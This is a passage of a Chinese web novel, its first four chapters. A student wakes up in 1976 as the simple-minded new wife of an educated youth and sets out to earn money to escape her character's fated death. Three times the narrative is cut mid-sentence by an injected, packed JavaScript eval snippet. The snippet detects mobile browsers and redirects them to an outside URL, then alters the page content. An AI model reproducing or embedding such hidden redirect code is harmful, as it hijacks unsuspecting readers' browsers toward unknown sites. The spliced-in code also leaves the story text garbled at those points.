《傻媳妇创业记[七零]》 1. 第一章 燕素梅睡得迷迷糊糊之际,突然发觉这床怎么变得这么硬了。 明明是才到货没用多久的床垫,此刻却硬得硌骨头。 她下意识翻了个身,想摸手机问下店铺客服床垫支不支持7天无理由。 可燕素梅摸索半天,却始终没有摸索到手机。 不对。 她猛地睁开眼,直直对上了一个剪得歪歪扭扭的红囍字。这囍字像是被浆糊贴在一扇走复古风的窗户上。因为红囍字边缘洇出了一圈深色的水渍,像是浆糊还没干透就被匆匆贴上般。 燕素梅的脑子“嗡”了一声,她连忙坐起身,环顾四周。 她似乎是在一间土坯房里,屋子不大,十来平米的样子。墙是夯土的,有些年头了,墙面上多处还糊着发黄的报纸。 窗台上放着个玻璃瓶,里面插着几枝花,只不过此时已经蔫了,垂头丧气地耷拉着,分辨不出原本究竟是什么花。 窗台边上立着一个脸盆架,架子上挂了面锈迹斑斑的镜子,镜子正下方放着个搪瓷脸盆。盆底印着“为人民服务”五个红字,年头久了,好几处磕掉了瓷,露出黑色的铁皮。 地面是夯实的黄土,扫得干干净净,但可能是因为踩得久了,泛着油亮的黑色。 空气中则弥漫着说不清的味道,有点潮湿的霉味,还有些许若有似无的尿骚味。 燕素梅有些茫然地盯着眼前的景象,脑子里有些空白。 她记得自己昨晚还在宿舍里,窝在床上追一本年代文小说。这本小说写得倒是不错,就是有个地方让她十分膈应。小说男主在回城之前有个炮灰妻子,跟她同名同姓,也叫燕素梅。 小说里的“燕素梅”,说好听点是守村人,说难听点就是个傻子。 男主下乡插队时被分到这个村里,也不知是阴差阳错还是命里该着,他娶了“燕素梅”。 后来高考恢复了。村里人都说,这下男主该去申请离婚,然后回城了吧?毕竟娶个傻子本来就是拖累,更何况他一个读书人,总不能一辈子耗在这儿。 可男主没走。 第一年他没考上,说是没复习好。第二年又没考,说是身体不好。第三年,“燕素梅”病了,病得不轻。但因为没钱医治,“燕素梅”就那么没了。 她记得自己看到这段时还跟室友吐槽:这个“燕素梅”与其说是没钱治病去世,不如说是碍着男主回城和女主相遇了,作者故意没给钱治。 不对不对,现在不是想这个的时候。重点是自己怎么睡一觉就跑到这儿来了? 难不成是被拐卖了?可谁又能悄无声息地闯进大学宿舍,并把她拐出来? 而且就这么巧合只拐她? 燕素梅正胡思乱想着,目光一瞥,落在一个角落。 那里挂着个日历,老式的那种,一天撕一张的厚纸日历。最上面赫然印着:1976年日历。翻到的那一页写着:3月15日,宜嫁娶。 燕素梅:“……” 不是,等等。 1976年? 燕素梅下意识往自己身上看去,她最喜欢穿的那件做成卡通兔子模样的连体睡衣,不知去向。取而代之的,是一身红花棉袄。虽说崭新崭新的,红艳艳的,还带着浆洗过的挺括感。可凑近了看,针脚歪歪扭扭,这儿密那儿疏,有的地方线头还露在外面,一看就是手工缝制的。 袖子似乎做得有些长了,把手整个盖住,只露出几根手指尖。她抬起手晃了晃,那袖口也跟着晃,像戏台上的水袖。 燕素梅又往棉袄里头看去,贴着身的是一件旧秋衣。洗得发白了,原本是什么颜色都看不出来。领子磨出了毛边,软塌塌地趴在那儿,一看就是穿了很多年。 似乎自己不是被拐卖了,而是穿越了。 穿越到上个世纪70年代。 在得到这个认知的第一时刻,燕素梅狠狠掐了一把自己的大腿。 嘶,有点疼。 她不信邪地又掐了一把。 啧,还是疼。 就在燕素梅准备掐第三把确认自己是不是在做梦的时候,门被推开了。 燕素梅抬头,愣住了。 进来的是个年轻男子。 二十出头的样子,高高瘦瘦的,皮肤白净。最重要的事是,这人眉眼生得实在好看。不是那种十分英气的浓眉大眼,而是带有一丝清清秀秀的书卷气,像极了老电影里面民国书生的模样。一双眼睛也被这眉型衬得格外清亮。往下看,这男子鼻梁挺直,只不过嘴唇有点干,起了皮,但难掩唇形好看。 他穿着一件洗得发白的蓝布衫,袖口卷着,露出一截白净手腕。这个男子穿的衣服也旧得领子都磨毛了,但是洗得干干净净,连个褶子都没有。 整个人站在那,与周遭环境显得有些格格不入。 燕素梅盯着他,下意识咽了咽口水。 她发誓,绝对不是她花痴。但这个人,真的长在了她的审美点上。 那男的站在门口,见燕素梅醒了,犹豫了一会,走了进来。 他似乎是被燕素梅看得有点不自在,耳朵尖肉眼可见地有些红了。那抹红从耳尖蔓延到了耳廓,又悄悄爬上了脸颊。 那男子走到床前,垂下眼,似乎有些不敢看她。但最终他还是张了嘴,磕磕巴巴地挤出一句话。 “媳,媳妇。” 啧,这人不仅长得在燕素梅审美点上,声音更是。 不过他刚刚说什么来着。 好像是……媳妇吧? 不对,等会。 他喊什么? 媳妇?! 我,燕素梅,一个母胎solo了二十多年的人,连男生的手都没正经牵过的人,是他媳妇? 燕素梅不可置信地瞪大双眼,紧紧盯着眼前这个男子,试图想从他脸上找出一丝“我在开玩笑”的痕迹。 但,没有。 那个男子似乎被她盯得更不自在了,耳朵红得快要滴血。他垂着眼睛,睫毛又长又密,在眼睑上落了一小片阴影。 这男子嘴唇动了动,声音小得像是蚊子哼。 “你,你醒了?饿不饿?奶奶让我来喊你去堂屋吃饭。” 说完,他转身就要走。 “等等。”燕素梅边说边掀开被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17376983|200122||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子下了床。 而那男子脚步一顿,回过头来。 燕素梅快步走到那男子跟前,这才发现这男子长得真高。她自己比这男子矮了大半个头,得仰着脸才能看清这男子的表情。 啧,近看更好看了。 这男子皮肤是真的白,不是小说里常见的那种病态的惨白,是那种自然的晒不黑的白,跟他这身书卷气很配。眼睛是好看的大外双,就是眼尾微微下垂,显得有点委屈相。 燕素梅记得她室友曾说过,薄唇男子最无情。可此时这男子嘴唇轻轻抿着,看不出厚薄,不好确定她这个便宜老公究竟是不是个薄情之人。如果是个薄情之人,她也好提前谋划跑路。 不过美色当前,燕素梅也没有忘记重点。 “你刚才喊我什么?” 那男子听到燕素梅这个问题,愣了一下,耳朵又红了。 “媳妇……” “我是你媳妇?”燕素梅闻言反问道。 面对燕素梅的这个问题,那男子居然没有觉得任何奇怪的地方,只是十分乖巧地点了点头。 燕素梅深吸了一口气,继续说:“那我问你几个问题。” “你问。” “你叫什么名字?” “苏文青。” 燕素梅的脑子里有根弦似乎断了。 不是因为别的,而是这个名字就是她昨晚上看的那本年代文小说的男主。 那她是谁? 燕素梅突然想到一种可能,她总不能是书中同名同姓,只在男主回忆中出现过的那个傻子白月光? 不对不对,不太可能。 燕素梅连忙否定了这个猜测,毕竟书中描写的“燕素梅”是个傻子,而她现在逻辑清晰,脑子清醒,哪里有傻子模样。再说了,自己刚穿到这里,还不清楚原身叫什么名字。万一名字不是她本来的名字也说不准。 苏文青心里似乎被燕素梅盯得有些发毛,手指无意识地攥紧衣角,小声问:“媳妇,你,你怎么了?” 被苏文青这么一提醒,燕素梅这才回过神来。 “没事儿。”她尽量让自己的声音听起来正常一点,“你刚才不是说奶奶喊我们去吃饭?” 苏文青点了点头。 “那走吧。” 燕素梅抬脚往外走走,到门口才想起来有什么不对劲的地方。 她回过头看了一眼苏文青,发觉他还在站在原地一脸茫然的看着他。 “还不走吗?”燕素梅反问道。 苏文青这才反应过来,连忙上前,而燕素梅亦步亦趋地在后面跟着。 没办法,她刚穿过来,不熟悉环境。虽说苏文青说了去堂屋吃饭,但堂屋在哪儿,她还真不知道。 不过此时的燕素梅望着苏文青背影,忽然有点想笑。 书里写的苏文青,高冷寡言,拒人于千里之外。后来回城当了本地小有名气的企业家,也是那种走路带风的霸总人设。可她眼前这个耳朵动不动就红得能滴血,说话磕磕巴巴,被她多看两眼就手足无措的人,哪里有书中霸总的形象。 应该就是自己想多了。 2. 第二章 燕素梅一脸懵懂地跟在苏文青身后,穿过院子往堂屋走去。 说是堂屋,其实就是农村平房正中间那间,平时吃饭待客都在这儿。 苏文青走得不快,甚至可以说有点慢,时不时还侧一下身,像是在确认燕素梅有没有跟上。 而燕素梅跟在后头,目光却忍不住往他身上瞟。 这苏文青背影也好看,肩宽腰窄的,走路姿势斯文,不像年代文里那些庄稼汉,倒像是从画报里走下来那般。 燕素梅想到方才看到的日历,1976年。这个年代,城里青年下乡插队是常事。眼前这人白白净净、斯斯文文的,怎么看都不像是土生土长的村里人。难不成这苏文青也是个下乡插队的知青? 她越看苏文青背影,越觉得自己的猜测十分有可能。可如果这苏文青是下乡知青的话,又怎么会在乡下有个家。更何况看这个环境,应该是住了有一些年头了。 燕素梅正盯着人家后背推测时,一时间竟没注意到苏文青突然停下的脚步。等她发现时,自己已经地撞上了苏文青的后背。 “哎呦。”燕素梅捂着鼻尖,忍不住叫出声,“你怎么突然停下来了?” “媳妇,到、到了。”苏文青侧过身,耳尖又红了,小声解释道,“进、进去吧。” 燕素梅闻言,装作若无其事地点了点头,绕过苏文青径直走了进去。 她满脑子想着自己方才的表现有没有露馅,自然也就没注意到,身后苏文青望向她时,那略带疑惑的眼神。 一进屋,燕素梅下意识环顾了一圈。 依旧是个典型的乡下平房,却收拾得干净利落。地面是夯实的黄土,几处泛着油亮的黑色,踩得瓷实。正中央摆着一张老式八仙桌,桌面斑驳得厉害,桌腿底下垫着纸片,勉强稳着。四条长凳整整齐齐塞在桌下,凳面磨得光滑发亮,不知用了多少年月。 靠墙立着个旧碗柜,柜门上的纱网破了两个小洞,打着白布补丁。倒也不显寒酸,反而有股子认真过日子的气息。 空气里飘着饭菜香,清淡得很,闻不出半点荤腥,却莫名叫人安心。 燕素梅站在这里,恍然间像是回到乡下老家了。 自从她父母在县城买了房后,村里的老屋就剩奶奶守着。这些年,村里家家户户都盖起两层小洋楼,她家却依旧是那座平房,只把外墙重新粉刷过。里面那些家具家电、瓶瓶罐罐,还是记忆里的老样子。原本燕素梅父母是打算让奶奶在县城享清福的,可奶奶是个勤快的小老太。每次去县城没住两天,就嚷嚷着闲不住,要回去。 燕素梅放心不下,也就常往乡下跑。 此刻这屋里的环境,竟和她记忆中的老家重叠在了一起。燕素梅一时间竟有些恍惚,分不清自己究竟是穿越了,还是只是回了趟老家。 “小梅起来啦?”一个慈祥的声音从堂屋侧门处传来。 燕素梅循声望去,只见一个老太太,端着两个碗,从侧门出来往桌边走。 这老太太60来岁的样子,头发花白,在脑后挽了个髻,用黑网兜着。脸上皱纹很深,但笑起来的时候眼睛弯成两道缝,看着就让人亲切。身上穿着一件藏青色的斜襟褂子,洗得有些发白了。 燕素梅张了张嘴,一时间竟不知该怎么称呼。 看这架势,应该是原身奶奶辈的人物。但她初来乍到的,在还没摸清楚状况下,也不敢贸然开口。 “愣着干啥,快坐快坐。”老太太把碗放在桌上,嘴上招呼着燕素梅她们,身子又往侧门走去,“饿了吧,这是烫饭,我再给你们拿点蒿子粑粑。” 燕素梅往侧门内瞥了一眼,虽看不清具体陈设,但是看布局应该是厨房。 “媳、媳妇,快坐。” 燕素梅应了一声,径直走到桌边坐下。苏文青也紧跟其后,坐在了她的对面。 燕素梅望着眼前的碗,里面有米饭有年糕有面条,还夹杂着几个绿叶菜,再加上方才老太太说话时那熟悉的乡音,让她原先有些惶恐不安的心,忽然就安定下来。 原因无他,这方言与燕素梅老家极其相似。而燕素梅面前这碗饭,也是她时常在乡下吃到的。 方才,她还担心过,这个年代毕竟条件有些艰苦,怕自己适应不了。但此刻看着眼前这碗烫饭,燕素梅觉得,大不了就当自己是回了趟老家。 “媳、媳妇,给。” 正当燕素梅在心里给自己加油鼓气时,面前多了一筷子夹着泡豇豆往她碗里放。她顺着筷子抬起头,看到苏文青那张长在她审美点上的帅脸。 但随即,她又皱起眉头。 “怎、怎么了,媳妇?”苏文青见燕素梅这个表情,似乎有些不知所措。 燕素梅摇了摇头,“没事。” 她低下头,夹了一块年糕就着方才苏文青给她夹的小菜吃了起来,思绪却飘远了。 燕素梅觉得自己方才看到苏文青时,似乎从他的眼神里看到了一闪而过的猜疑。那速度很快,快到燕素梅怀疑是不是自己看错了。可如果是真的,那为何苏文青又没有揭穿她。 更何况,燕素梅觉得自己从始至终并没有露出任何破绽。 正当燕素梅想这想的出神时,老太太端上来一个小竹编篮,里面放着几个巴掌大的蒿子粑粑,颜色青绿青绿的,还散发着一股青蒿特有的香气。 “来,我给小梅夹一块大的。”老太太笑着给燕素梅面前放了一个,“我们家小梅呀,从小就爱吃这个。” 燕素梅一听,顿时就确定,眼前这位应该就是原身的奶奶,亲的那种。 只是到现在,也没见到过原身的父母,也没见到苏文青的父母,不知道是与谁家父母住一块。但似乎不管是跟谁父母住一起,都有些不合逻辑。如果与燕素梅原身父母住的话,那苏文青理论上应该算入赘,但这屋子看起来不像是有能让男子入赘的条件。可如果是跟苏文青父母住的话,那原身的奶奶又怎么会在这儿。 算了不想了,天大地大吃饭最大。吃完饭再试探一下苏文青,看能不能套出些有用的信息。 燕素梅心里盘算着,接过老太太递给她的蒿子粑粑就咬了一口。 但可能因为心里装着事,自然也没看到老太太在将蒿子粑粑往她手边放时,手微微一顿。 这蒿子粑粑燕素梅经常在乡下的奶奶家吃。每年春天,奶奶总会去采刚长出来的嫩蒿子,回到家后捣烂了再与米粉、腊肉丁搅和一起,贴在锅边。 她还记得因为自己喜欢吃壳煎得焦焦的,但又不喜欢吃里面的肥肉丁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17376984|200122||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。奶奶就会做一批不加肥肉丁的蒿子粑粑,但是在烙的时候放许多油,好让外壳更加焦脆。 因此对于燕素梅来说,眼前这个蒿子粑粑什么都好,就是里面的肥肉丁有点多。 她十分熟练地用牙齿和舌头配合着,将口中的肥肉丁挑了出来,偷偷搁在桌沿上。 “文青啊。”突然,老太太放下碗,看向苏文青,语气一如既往的慈祥,“最近上工感觉咋样?累不累?” “不、不累。”苏文青闻言,连忙摇头。 “咋能不累呢?”老太太嗔怪地看了他一眼,“你们知青干的那些活,我可是知道的,要比咱村里人干得还累些。听说你与小梅结了婚,大队将你调到了稍微好一点的岗位上,但条件还是有些艰苦。你身子骨有点弱,可别硬撑,有什么问题直接跟我说。” 苏文青低下头小声说:“我、我知道了。” 燕素梅坐在对面,端着碗听着老太太与苏文青的对话,目光却不受控制地往苏文青身上看。 苏文青此时正低着头,睫毛垂了下来,又长又密,像两把小扇子,在燕素梅的心尖上扇动,让她心里有些痒痒的。 狐狸精。 绝对是狐狸精。 “小梅?” 燕素梅看着苏文青正盯着出神,老太太的声音将她拉回了现实。 “啊?”燕素梅回过神,对上老太太慈祥又带着点疑惑的目光,下意识问道,“怎么了,奶奶?” 老太太看了看她,又看了看苏文青,突然就笑了。 “原来是看文青呢。”老太太眉眼弯弯,笑得慈爱,“我说你原先最爱吃这烫饭和这蒿子粑粑,怎么今天吃得这么慢。原来是心思早就飞走了呀。” 燕素梅一开始还没反应过来这小老太在说什么,等她反应过来后,她的脸“腾”的一下就红了。 不是,方才她盯得这么明显吗?怎么这么快就被抓包了? 燕素梅心里默默吐槽,但是嘴还是十分硬气,“哪、哪有。” 说完她迅速低头扒饭,耳朵尖却烫的厉害。 老太太笑的更慈祥了,也不戳穿他,只是分别给俩人又添了一筷子菜。 “多吃点,都多吃点。文青啊,你也多吃点。不然这细胳膊细腿的,干不了什么活。” 虽说这燕素梅埋头苦吃,但目光还是忍不住往苏文青那边飘。 没办法。 真的没办法。 这个人就长在燕素梅的审美点上,她控制不住。 一顿饭下来,燕素梅基本没记住老太太说了啥,光顾着看苏文青了。 看他吃饭,看他脸红,看他被老太太问的手足无措的样子。 偶尔苏文青抬起头对上了她的目光,就会飞快地垂下眼。耳尖那抹红,又加深一层。 燕素梅发现自己好像有点上瘾,看这个人脸红怎么就这么有意思? 吃完饭,老太太起身收拾碗筷。 燕素梅也站起来想帮忙,却被老太太按回凳子上。 “坐着坐着,新婚小媳妇,哪能让你干活?陪文青说说话。” 老太太端着碗进了灶房,临走时目光不经意地往桌沿上扫了一眼。 那几块小小的肥肉粒,还孤零零地搁在那儿。 3. 第三章 燕素梅就这么在家闲了三天,闲得发慌。 第一天,她本想着帮老太太做个饭,谁知老太太把她推出了灶房。 “去去去,你哪里做过这些东西呢?更何况,新媳妇哪能干活?” 第二天,她想帮老太太喂鸡,老太太又把鸡食盆抢走。 “去去去,你这手细皮嫩肉的,别给糟蹋了。” 第三天,燕素梅实在坐不住了,凑到老太太跟前商量。 “奶奶,我总得干点啥吧?”她歪着脑袋,眼巴巴地看着老太太。 此时老太太正纳着鞋底,头也不抬,“干啥干?你是嫁人了,又不是要吃苦,歇着就行。” “可我也不能天天歇着呀。”燕素梅继续撒娇道。 “怎么不能?”奶奶抬起眼,笑得一脸慈爱,“我都养你二十多年了,还差这几年?” 燕素梅张了张嘴,说不出话来。 她穿过来这几天已经把原身的情况摸得差不多了。家里就剩老太太一个亲人,爹妈早就没了,是老太太一把屎一把尿把她拉扯大。 不知是不是这个原因,老太太疼原身疼得跟眼珠子似的,舍不得让她受一点委屈。哪怕现在嫁人了,在老太太眼里,原身照样还是那个需要被护着的小孙女。 燕素梅心里暖烘烘的,但又涌上些许异样的情绪。 毕竟此时的老太太并不知道,她这个孙女的壳子里已经换了个芯子。 可这话她又没法说。 吃过午饭,奶奶照例去睡午觉。 燕素梅在院子里转了两圈,又到屋里转了两圈,实在待不住,索性晃出了门。 她顺着村道往前走,不知不觉就到了村口。 老槐树下围着一群大妈,人手一个小板凳,面前堆着各种蔬菜,手上也忙得不停。有择芹菜的,有剥毛豆的,还有掐红薯梗的。 燕素梅往前走了几步,发现她们手上不停,嘴也不停,叽叽喳喳说得热闹。 她瞬间眼前一亮,这场景她熟啊。 小时候回乡下,奶奶也爱跟村里的老太太们凑一块择菜拉呱。燕素梅那时候最爱搬个小马扎坐旁边听,听她们说谁家儿媳妇又吵架了,谁家男人又喝酒误事了,谁家闺女又找了个好婆家。 那叫一个精彩。 燕素梅凑了过去,在旁边蹲下。 剥毛豆的大妈抬头看了她一眼,有些惊讶地说:“呦,这不是苏知青新娶的媳妇嘛?” “是嘞是嘞,前几天她们结婚时候我还去吃过席。”另一个择芹菜的大妈立马接话。 “来来来,坐这儿。”一个脸圆圆的大妈往旁边挪了挪,腾出个地儿,又顺手递给燕素梅一把瓜子,“来,嗑着玩。” 燕素梅立马接过瓜子,笑眯眯地道了声谢,坐在那儿开始听。 “说到苏知青……”圆脸大妈边择着手里的菜,边压低声音开了个头。 “咋啦咋啦?” 旁边几个大妈顿时来了精神。 “你们说,这苏知青咋就突然娶了媳妇呢?”圆脸大妈神秘兮兮地说,“他刚来村里的时候,有多少人想给他说亲,都被他推了。怎么这回一声不吭就结了?” “这谁知道。”手里剥着毛豆的大妈撇了撇嘴,“人家读书人的心思,咱猜不透。” “我倒是听到点风声。”一直没开口的瘦高个大妈突然压低声音,“听说是为了报恩。” “报恩?”几个大妈齐齐看向她。 燕素梅也竖起耳朵,等着下文。 瘦高个大妈点点头,手里红薯梗掐得飞快,“你们还记得去年夏天,河里发大水那事不?” “哎呦,那咋不记得?那时候可吓人了,雨水连着下了好几天,河水都涨满了。” “那你们还记得不?”瘦高个大妈压低声音,“当时有个知青掉河里了,差点被淹死。” 圆脸大妈一拍大腿,“你这么一说我就想起来了!是有这么回事。据说那知青没啥经验,去河边洗衣服的。谁知突然发大水,然后他一个着急,脚底打滑掉了下去。当时水很急,没人敢下去救,后来……” 那圆脸大妈说着说着,突然顿住了。 几个大妈像是想起来什么,面面相觑,目光不约而同地往燕素梅这边瞟了一眼。 燕素梅此时正嗑着瓜子听得津津有味,见众人全看向她,一脸懵懂地问:“咋……咋啦?” 圆脸大妈见她这副模样,继续边择菜边说:“没事,燕家这丫头什么情况不都知道吗,估计就是嘴馋过来要瓜子吃的。” 瘦高个大妈闻言,继续压低声音说:“后来啊,燕家那丫头的姑妈跳下去把人就上来的。” 空气安静了一瞬。 “你是说,苏知青就是那个掉河里的?” “可不是嘛。” “那燕家丫头的姑妈……” “没了。”瘦高个大妈叹了口气,“多好的人啊,才三十出头,男人死得早,自己没孩子也不改嫁,就跟她婆婆守着那丫头过。结果为了救人,把自己搭进去了。” “真是可怜啊……” 几个大妈唏嘘了一阵。 燕素梅嗑瓜子的手慢了下来,她脑子里飞快地过着刚刚听来的“情报”。 燕家丫头的姑妈为了救落水的知青,自己没了。 那知青是苏文青,燕家丫头好像是她。 而苏知青娶她,似乎是为了报答救命之恩。 这些信息怎么越听越觉得耳熟啊,似乎就像是她穿之前看的那本年代文。 不对不对,冷静冷静。 燕素梅深吸一口气,试图安抚自己此刻已经慌乱的心。 她记得书中那个同名炮灰女配是个傻子。 燕素梅摸了摸自己的脑袋,逻辑清晰,思维敏捷,还能做一百以内加减法,怎么看都不是傻子啊! 一定是自己想多了。 燕素梅安慰好自己,继续开开心心嗑着瓜子听大妈们对话。 而此时圆脸大妈正好对着那瘦高个大妈问道:“所以苏知青娶这丫头,是为了报恩?” “八成是。”瘦高个大妈点了点头,“人家姑妈救了他的命,他照顾一下人家的侄女,不是应该的嘛。” “那也不能以身相许吧。” “怎么不能?那丫头虽然脑子不太灵光,但是长得周正。再说了,他们这些知青下乡都多久了,也没个回去的风声,怕不是就待在这了。那回头还不是得从咱们村子里挑小丫头娶?” “那倒也是,而且娶谁不是娶,娶了这丫头还能落个知恩图报的好名声。” “不过这丫头也是命苦,从小没爹没妈,就靠奶奶跟大伯拉扯大。后面来了个姑妈,日子眼瞅着好起来了,大伯因病去世了。姑妈也是个好人疼她,结果姑妈也没了……” “现在嫁人了,好歹也算有个归宿了。” 燕素梅听着听着,手里的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17376985|200122||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瓜子开始忘了嗑。 不对不对,这剧情她越听越耳熟,越听越觉得像是她穿越前看的那本年代文。 当时燕素梅还跟室友吐槽,“这作者真会编,救命之恩以身相许,所以一个知识分子娶了一个傻子,那男主心里得多憋屈。” 室友问:“那后来呢?” 燕素梅闻言,翻了翻后面的章节。 “后来傻子病了,没钱治,死了。男主回城参加高考,遇见真女主,走上人生巅峰。” “那也不对啊,娶不娶这个傻子似乎对剧情没啥影响吧?” “我看看……好像是男主凭借娶了个傻子获得一系列美誉,所以才成为第一批返城人员,并成功走上人生巅峰的。” “那还说啥,工具人实锤了,就是这傻子太惨了。” “可不是嘛,这傻子还跟我同名同姓,看得我浑身难受。” 燕素梅想到这,脑子里“嗡”了一声。 她猛地抬起头,看向那几个还在八卦的大妈们。 “……听说那小丫头小时候发过高烧,脑子烧坏了,所以一直不太灵光。” “可不是嘛,所以她奶奶把她护得紧,平时也不让她单独出门,怕被欺负。” “那她今天怎么……” “哎!估计因为她现在嫁人了吧,更何况这不也就在村里晃悠,能出什么意外?” “说得也是,就是不知道苏知青对她怎么样,我看着苏知青那人倒是挺老实的。” “那谁知道,知人知面不知心。” 燕素梅攥紧手里的瓜子,指甲差点掐进掌心。 难怪刚刚这些大妈看到她第一反应就是给糖给瓜子,难怪说起她的事毫不避讳。 原来她穿的这个原身,就是个傻子。 是她穿书前,看得那本年代文里,男主那活不过三年的傻子白月光。 她有些绝望地闭上眼睛。 不对,她现在有手有脚,也没傻,还能让一场病干没了? 不能,绝对不能。 不就是没钱吗?他来挣钱,挣很多很多的钱。 挣够治病的钱,挣够把自己养的白白胖胖的就不就行了。 燕素梅想到这,抬起头看向还在聊八卦聊得热火朝天的大妈们。 “那个……”燕素梅开口。 几个大妈齐刷刷的看向他。 燕素梅露出一个人畜无害的笑容,“我想问一下,咱村里有啥能挣钱的门路不?” 大妈们愣住了,面面相觑。 圆脸大妈最先反应过来,试探着问:“你……你想挣钱?” 燕素梅点了点头。 “你不是有奶奶……” “那也不能让奶奶养我一辈子吧。”燕素梅眨了眨眼,笑得一脸天真无邪,“我虽然……有些东西不太懂,但是手脚还算灵活。” 燕素梅想了想原身的人设,委婉地说。 空气安静了几秒,几个大妈们互相交换着眼神,一时间不知该怎么接话。 最后还是圆脸大妈开口语气有点复杂,“你有这个心思是好的。我想到队里有个糊纸盒的副业,一天能挣个几分钱,你应该行。” “在哪能领?”燕素梅闻言,眼睛瞬间亮了起来。 “大队那边找妇女主任就行。” “好嘞,谢谢您。” 说完她转身就往村里走,留下几个大妈坐在原地,好半天没人说话。 4. 第四章 燕素梅此刻满脑子就一个念头,要找到那群大妈口中的妇女主任,领糊纸盒的活。 她要挣钱,她要活下去。 至于刚才那些大妈们聊八卦时说的什么报不报恩,傻不傻子,通通不重要。 毕竟,她得在三年内攒够治病的钱。 等等。 到时候治病需要多少钱来着? 燕素梅脚步略微慢了下来,皱着眉头想了一会,发现自己完全想不起来。不知道是因为当时觉得只是炮灰女配的事没留意,还是书里压根就没写。 算了,不想了。 不管多少钱,只要她努力挣,还能不够? 燕素梅想到此,又加快步伐。 她走得又急又冲,加上满脑子都是糊纸盒、挣工分、攒钱治病这些事。 想着想着,突然脚下一滑。 “哎呦!” 燕素梅猛地刹住脚,低头一看,差点一脚滑到村道与田地中间夹着的那条沟里。 其实沟并不深,也就半人高,但如果摔下去,受不受伤另说,至少得啃一嘴泥。 燕素梅拍了拍胸口,安抚了一下自己受惊的小心脏,抬头往前望去。 眼前赫然出现一栋二层小楼,灰砖灰瓦,墙上涂着崭新的白漆,一边写着“知识青年到农村去,接受贫下中农再教育。”的标语,另一边则写着“少生优生,幸福一生。” 这不就是村委会吗?不对,这个年代应该叫大队部。 燕素梅眼前一亮,正准备往前赶去,可突然有人喊她的名字。 “小梅!” 身后传来一道熟悉的声音,带着些许喘气声,似乎有些着急。 燕素梅往前的脚步一顿,回过头。 只见老太太正小跑着追上来,虽说是六十来岁的人了,跑起来却丝毫不慢。 “奶奶?”燕素梅愣住,“您怎么出来了?” 老太太跑到她跟前,一把攥住她的手腕,力气大得惊人。她弯着腰喘了几口粗气,胸口剧烈起伏着,好半天才缓过劲来。 “我还想问你呢!”老太太抬起头,脸上又是汗又是着急的神情,“我就去睡个午觉,一醒来,你人就没了。满屋子都找不到你,屋里屋外全喊了个遍,也没人应。我那个心啊,吓得直跳。” 燕素梅张了张嘴,还没来得及说话,老太太就已经连珠炮似的继续往下说了。 “我跑去问隔壁老黄家,人家说你往村口方向去了。我又往村口跑,跑到那儿人家跟我说你来找胡主任了。你说你这丫头,跑啥呢?就算待着无聊,也好歹跟奶奶我说一声啊!这让我一顿好找,我这老腿都快跑断了!” 老太太说着说着,语气从原先的着急,变成了嗔怪,眼眶也有些泛红。 燕素梅看着老太太这副模样,心里忽然有点不是滋味。 这老太太,真的是把原身当眼珠子疼。 “奶奶,我……” “你啥你?”老太太不等她解释,攥着她的手就往回走,“走走走,回家!” “可是奶奶……”燕素梅被拽着走了两步,挣扎着想回头,“我是真的有事。” “你能有啥事?”老太太头也不回,继续拽着燕素梅往家的方向走,“你这孩子,打小就没出过远门,村里都认不全,更别说外面了。你还瞎跑,万一掉沟里了咋办?万一迷路了咋办?万一遇上坏人了咋办?” 燕素梅本想说我没这么傻,她就是去大队部找个人。 但老太太根本不给她开口的机会,一路把她拽回了家。 等进了院子,老太太这才松开手,转过身打量她。 老太太用眼神从上到下,从左到右,仔仔细细地扫了一遍,像是在检查什么宝贝似的。 就在燕素梅被盯得有些不自然时,老太太这才收回了目光。 “咋了这是?”老太太伸手摸了摸燕素梅的头,像摸小孩似的,眼神里带着些许的心疼,“怎么突然想往外面跑了?是不是在家里待闷了?” 燕素梅想了想,点了点头。 这倒也不算撒谎,她确实在家里待得有点无聊。 老太太叹了口气,手从燕素梅头顶滑下来,落在她的脸颊上,轻轻拍了拍。 “闷了就跟奶奶说啊,奶奶带你出去玩。别一个人瞎跑,这村子里你又不熟,走丢了咋整?” 燕素梅张了张嘴,本想安慰一下老太太,说自己刚才从村口回来那一趟就已经把路记了个七七八八了。 毕竟村里的道路很好记,基本上就是一条水泥铺成的主路加若干条田埂上的小路组成。而从村口到原身家,只需要沿着水泥路就可到达。 但她转念想起原身的人设,又闭上了嘴。 “对了!”老太太突然想起什么,眼睛一亮,“你不是最爱吃荠菜饺子吗?走,奶奶带你去挖荠菜,晚上给你包饺子吃!” 燕素梅闻言,眼前一亮。 荠菜饺子!她确实爱吃! 穿越前在乡下奶奶家,每年春天都能吃到。那滋味,鲜得能把舌头吞下去。 